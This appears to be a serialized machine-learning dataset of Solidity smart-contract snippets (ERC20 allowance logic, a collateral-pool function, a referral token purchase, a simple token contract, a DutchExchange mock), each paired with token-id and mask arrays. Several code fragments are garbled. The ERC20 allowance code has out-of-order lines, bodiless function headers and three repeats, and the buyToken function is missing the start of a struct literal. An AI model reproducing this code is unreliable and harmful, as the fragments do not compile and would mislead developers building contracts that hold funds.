0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
353,
31465,
12,
2867,
389,
1132,
13,
1071,
1135,
261,
6430,
2935,
13,
288,
203,
3639,
327,
401,
9565,
18,
291,
31465,
24899,
1132,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x5C7795Baa167701E8fa04EdF852996Be245C5653/sources/src/boring/ERC20.sol
|
* @dev Updates `owner` s allowance for `spender` based on spent `amount`. Does not update the allowance amount in case of infinite allowance. Revert if not enough allowance is available. Might emit an {Approval} event./
|
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
function _approve(
address owner,
address spender,
uint256 amount
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
if (currentAllowance != type(uint256).max) {
if (owner != address(this) || spender != address(router)) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
if (currentAllowance != type(uint256).max) {
if (owner != address(this) || spender != address(router)) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
if (currentAllowance != type(uint256).max) {
if (owner != address(this) || spender != address(router)) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
}
| 2,974,569 |
[
1,
5121,
1375,
8443,
68,
272,
1699,
1359,
364,
1375,
87,
1302,
264,
68,
2511,
603,
26515,
1375,
8949,
8338,
9637,
486,
1089,
326,
1699,
1359,
3844,
316,
648,
434,
14853,
1699,
1359,
18,
868,
1097,
309,
486,
7304,
1699,
1359,
353,
2319,
18,
490,
750,
3626,
392,
288,
23461,
97,
871,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
2713,
5024,
288,
203,
3639,
2254,
5034,
783,
7009,
1359,
273,
1699,
1359,
12,
8443,
16,
17571,
264,
1769,
203,
565,
445,
389,
12908,
537,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
289,
203,
203,
565,
445,
389,
87,
1302,
7009,
1359,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
3844,
203,
3639,
309,
261,
2972,
7009,
1359,
480,
618,
12,
11890,
5034,
2934,
1896,
13,
288,
203,
5411,
309,
261,
8443,
480,
1758,
12,
2211,
13,
747,
17571,
264,
480,
1758,
12,
10717,
3719,
288,
203,
7734,
2583,
12,
2972,
7009,
1359,
1545,
3844,
16,
315,
654,
39,
3462,
30,
2763,
11339,
1699,
1359,
8863,
203,
7734,
22893,
288,
203,
10792,
389,
12908,
537,
12,
8443,
16,
17571,
264,
16,
783,
7009,
1359,
300,
3844,
1769,
203,
7734,
289,
203,
5411,
289,
203,
3639,
289,
203,
565,
445,
389,
12908,
537,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
289,
203,
203,
565,
445,
389,
87,
1302,
7009,
1359,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
1758,
17571,
264,
16,
203,
3639,
2254,
5034,
3844,
203,
3639,
309,
261,
2972,
7009,
1359,
480,
618,
12,
11890,
5034,
2934,
1896,
13,
288,
203,
5411,
309,
261,
8443,
480,
1758,
12,
2211,
13,
747,
17571,
264,
480,
1758,
12,
10717,
3719,
288,
203,
7734,
2583,
12,
2972,
7009,
1359,
1545,
3844,
2
] |
./full_match/137/0x887278Fe571b275d0045e16525929885Df41cEC3/sources/contracts/PoolMATIC.sol
|
@notice Calculate the excess collateral balance
|
function calcExcessCollateralBalance() public view returns (uint256 _delta, bool _exceeded) {
uint256 _requiredCollateralBal = (xToken.totalSupply() * collateralRatio) / COLLATERAL_RATIO_MAX;
uint256 _usableCollateralBal = usableCollateralBalance();
if (_usableCollateralBal >= _requiredCollateralBal) {
_delta = _usableCollateralBal - _requiredCollateralBal;
_exceeded = true;
_delta = _requiredCollateralBal - _usableCollateralBal;
_exceeded = false;
}
}
| 4,688,487 |
[
1,
8695,
326,
23183,
4508,
2045,
287,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7029,
424,
614,
13535,
2045,
287,
13937,
1435,
1071,
1476,
1135,
261,
11890,
5034,
389,
9878,
16,
1426,
389,
338,
5816,
13,
288,
203,
3639,
2254,
5034,
389,
4718,
13535,
2045,
287,
38,
287,
273,
261,
92,
1345,
18,
4963,
3088,
1283,
1435,
380,
4508,
2045,
287,
8541,
13,
342,
5597,
12190,
654,
1013,
67,
54,
789,
4294,
67,
6694,
31,
203,
3639,
2254,
5034,
389,
16665,
13535,
2045,
287,
38,
287,
273,
15603,
13535,
2045,
287,
13937,
5621,
203,
3639,
309,
261,
67,
16665,
13535,
2045,
287,
38,
287,
1545,
389,
4718,
13535,
2045,
287,
38,
287,
13,
288,
203,
5411,
389,
9878,
273,
389,
16665,
13535,
2045,
287,
38,
287,
300,
389,
4718,
13535,
2045,
287,
38,
287,
31,
203,
5411,
389,
338,
5816,
273,
638,
31,
203,
5411,
389,
9878,
273,
389,
4718,
13535,
2045,
287,
38,
287,
300,
389,
16665,
13535,
2045,
287,
38,
287,
31,
203,
5411,
389,
338,
5816,
273,
629,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xFd1EEF3c7C570bc9372899a27C452B976ade09a9/sources/browser/SellToken.sol
|
Buy token JUS by deposit ETH insert or update amount for user call bonus
|
function buyToken(uint256 _amountETH, uint256 _rate_token_reward, address _refer, uint _referLevel) public {
User storage user = users[msg.sender];
user.totalETH = user.totalETH.add(_amountETH);
user.refLevel = _referLevel;
user.refParent = _refer;
if(_refer != 0x0000000000000000000000000000000000000000){
calBonusRefer(_refer);
}
orderCount,
msg.sender,
block.timestamp,
_amountETH,
false,
false,
false,
false,
0,
reward,
_refer
);
orderCount++;
}
| 12,526,973 |
[
1,
38,
9835,
1147,
804,
3378,
635,
443,
1724,
512,
2455,
2243,
578,
1089,
3844,
364,
729,
745,
324,
22889,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
30143,
1345,
12,
11890,
5034,
225,
389,
8949,
1584,
44,
16,
2254,
5034,
225,
389,
5141,
67,
2316,
67,
266,
2913,
16,
1758,
225,
389,
266,
586,
16,
2254,
225,
389,
266,
586,
2355,
13,
225,
1071,
225,
288,
203,
3639,
2177,
2502,
729,
273,
3677,
63,
3576,
18,
15330,
15533,
203,
3639,
729,
18,
4963,
1584,
44,
273,
729,
18,
4963,
1584,
44,
18,
1289,
24899,
8949,
1584,
44,
1769,
203,
3639,
729,
18,
1734,
2355,
273,
389,
266,
586,
2355,
31,
203,
3639,
729,
18,
1734,
3054,
273,
389,
266,
586,
31,
203,
540,
203,
3639,
309,
24899,
266,
586,
480,
374,
92,
12648,
12648,
12648,
12648,
12648,
15329,
203,
1850,
1443,
38,
22889,
426,
586,
24899,
266,
586,
1769,
203,
3639,
289,
203,
203,
203,
5411,
1353,
1380,
16,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
1203,
18,
5508,
16,
203,
5411,
389,
8949,
1584,
44,
16,
203,
5411,
629,
16,
203,
5411,
629,
16,
203,
5411,
629,
16,
203,
5411,
629,
16,
203,
5411,
374,
16,
203,
5411,
19890,
16,
203,
5411,
389,
266,
586,
203,
3639,
11272,
203,
3639,
1353,
1380,
9904,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toUINT112(uint256 a) internal constant returns(uint112) {
assert(uint112(a) == a);
return uint112(a);
}
function toUINT120(uint256 a) internal constant returns(uint120) {
assert(uint120(a) == a);
return uint120(a);
}
function toUINT128(uint256 a) internal constant returns(uint128) {
assert(uint128(a) == a);
return uint128(a);
}
}
contract HelloToken {
using SafeMath for uint256;
// Public variables of the token
string public constant name = "Hello Token"; //The Token's name
uint8 public constant decimals = 18; //Number of decimals of the smallest unit
string public constant symbol = "HelloT"; //An identifier
// 18 decimals is the strongly suggested default, avoid changing it
// packed to 256bit to save gas usage.
struct Supplies {
// uint128's max value is about 3e38.
// it's enough to present amount of tokens
uint128 totalSupply;
}
Supplies supplies;
// Packed to 256bit to save gas usage.
struct Account {
// uint112's max value is about 5e33.
// it's enough to present amount of tokens
uint112 balance;
}
// This creates an array with all balances
mapping (address => Account) public balanceOf;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function HelloToken() public {
supplies.totalSupply = 1*(10**10) * (10 ** 18); // Update total supply with the decimal amount
balanceOf[msg.sender].balance = uint112(supplies.totalSupply); // Give the creator all initial tokens
}
// Send back ether sent to me
function () {
revert();
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from].balance >= _value);
// Check for overflows
require(balanceOf[_to].balance + _value >= balanceOf[_to].balance);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].balance + balanceOf[_to].balance;
// Subtract from the sender
balanceOf[_from].balance -= uint112(_value);
// Add the same to the recipient
balanceOf[_to].balance = _value.add(balanceOf[_to].balance).toUINT112();
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from].balance + balanceOf[_to].balance == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender].balance >= _value); // Check if the sender has enough
balanceOf[msg.sender].balance -= uint112(_value); // Subtract from the sender
supplies.totalSupply -= uint128(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Total Supply
*
* View Total Supply
*
* Return Total Supply
*
*/
function totalSupply() public constant returns (uint256 supply){
return supplies.totalSupply;
}
}
|
Give the creator all initial tokens
|
balanceOf[msg.sender].balance = uint112(supplies.totalSupply);
| 974,041 |
[
1,
43,
688,
326,
11784,
777,
2172,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
11013,
951,
63,
3576,
18,
15330,
8009,
12296,
273,
2254,
17666,
12,
2859,
5259,
18,
4963,
3088,
1283,
1769,
1171,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import '@gnosis.pm/dx-contracts/contracts/TokenFRT.sol';
import "@gnosis.pm/owl-token/contracts/TokenOWL.sol";
import '@gnosis.pm/dx-contracts/contracts/Oracle/PriceOracleInterface.sol';
import "../../IDutchExchange.sol";
/// @title Dutch Exchange - exchange token pairs with the clever mechanism of the dutch auction
/// @author Alex Herrmann - <[email protected]>
/// @author Dominik Teiml - <[email protected]>
contract DutchExchangeMock is IDutchExchange {
// The price is a rational number, so we need a concept of a fraction
struct fraction {
uint num;
uint den;
}
uint constant WAITING_PERIOD_NEW_TOKEN_PAIR = 6 hours;
uint constant WAITING_PERIOD_NEW_AUCTION = 10 minutes;
uint constant WAITING_PERIOD_CHANGE_MASTERCOPY_OR_ORACLE = 30 days;
uint constant AUCTION_START_WAITING_FOR_FUNDING = 1;
// variables for Proxy Construction
//
address masterCopy;
address public newMasterCopy;
// Time when new masterCopy is updatabale
uint public masterCopyCountdown;
// > Storage
// auctioneer has the power to manage some variables
address public auctioneer;
// Ether ERC-20 token
address public ethToken;
// Price Oracle interface
PriceOracleInterface public ethUSDOracle;
// Price Oracle interface proposals during update process
PriceOracleInterface public newProposalEthUSDOracle;
uint public oracleInterfaceCountdown;
// Minimum required sell funding for adding a new token pair, in USD
uint public thresholdNewTokenPair;
// Minimum required sell funding for starting antoher auction, in USD
uint public thresholdNewAuction;
// Fee reduction token (magnolia, ERC-20 token)
TokenFRT public frtToken;
// Token for paying fees
TokenOWL public owlToken;
// mapping that stores the tokens, which are approved
// Token => approved
// Only tokens approved by auctioneer generate frtToken tokens
mapping (address => bool) public approvedTokens;
// For the following two mappings, there is one mapping for each token pair
// The order which the tokens should be called is smaller, larger
// These variables should never be called directly! They have getters below
// Token => Token => index
mapping (address => mapping (address => uint)) public latestAuctionIndices;
// Token => Token => time
mapping (address => mapping (address => uint)) public auctionStarts;
// Token => Token => auctionIndex => price
mapping (address => mapping (address => mapping (uint => fraction))) public closingPrices;
// Token => Token => amount
mapping (address => mapping (address => uint)) public sellVolumesCurrent;
// Token => Token => amount
mapping (address => mapping (address => uint)) public sellVolumesNext;
// Token => Token => amount
mapping (address => mapping (address => uint)) public buyVolumes;
// Token => user => amount
// balances stores a user's balance in the DutchX
mapping (address => mapping (address => uint)) public balances;
// Token => Token => auctionIndex => amount
mapping (address => mapping (address => mapping (uint => uint))) public extraTokens;
// Token => Token => auctionIndex => user => amount
mapping (address => mapping (address => mapping (uint => mapping (address => uint)))) public sellerBalances;
mapping (address => mapping (address => mapping (uint => mapping (address => uint)))) public buyerBalances;
mapping (address => mapping (address => mapping (uint => mapping (address => uint)))) public claimedAmounts;
// > Modifiers
modifier onlyAuctioneer() {
// Only allows auctioneer to proceed
// R1
require(msg.sender == auctioneer);
_;
}
/// @dev Constructor-Function creates exchange
/// @param _frtToken - address of frtToken ERC-20 token
/// @param _owlToken - address of owlToken ERC-20 token
/// @param _auctioneer - auctioneer for managing interfaces
/// @param _ethToken - address of ETH ERC-20 token
/// @param _ethUSDOracle - address of the oracle contract for fetching feeds
/// @param _thresholdNewTokenPair - Minimum required sell funding for adding a new token pair, in USD
function setupDutchExchange(
TokenFRT _frtToken,
TokenOWL _owlToken,
address _auctioneer,
address _ethToken,
PriceOracleInterface _ethUSDOracle,
uint _thresholdNewTokenPair,
uint _thresholdNewAuction
)
public
{
// Make sure contract hasn't been initialised
require(ethToken == 0);
// Validates inputs
require(address(_owlToken) != address(0));
require(address(_frtToken) != address(0));
require(_auctioneer != 0);
require(_ethToken != 0);
require(address(_ethUSDOracle) != address(0));
frtToken = _frtToken;
owlToken = _owlToken;
auctioneer = _auctioneer;
ethToken = _ethToken;
ethUSDOracle = _ethUSDOracle;
thresholdNewTokenPair = _thresholdNewTokenPair;
thresholdNewAuction = _thresholdNewAuction;
}
//@ dev returns price in units [token2]/[token1]
//@ param token1 first token for price calculation
//@ param token2 second token for price calculation
//@ param auctionIndex index for the auction to get the averaged price from
function getPriceInPastAuction(
address token1,
address token2,
uint auctionIndex
)
public
view
// price < 10^31
returns (uint num, uint den)
{
num = 1;
den = 1;
}
// > Helper fns
function getTokenOrder(
address token1,
address token2
)
public
pure
returns (address, address)
{
if (token2 < token1) {
(token1, token2) = (token2, token1);
}
return (token1, token2);
}
function getAuctionIndex(
address token1,
address token2
)
public
view
returns (uint auctionIndex)
{
(token1, token2) = getTokenOrder(token1, token2);
auctionIndex = latestAuctionIndices[token1][token2];
}
}
|
Token => Token => auctionIndex => price
|
mapping (address => mapping (address => mapping (uint => fraction))) public closingPrices;
| 904,850 |
[
1,
1345,
516,
3155,
516,
279,
4062,
1016,
516,
6205,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
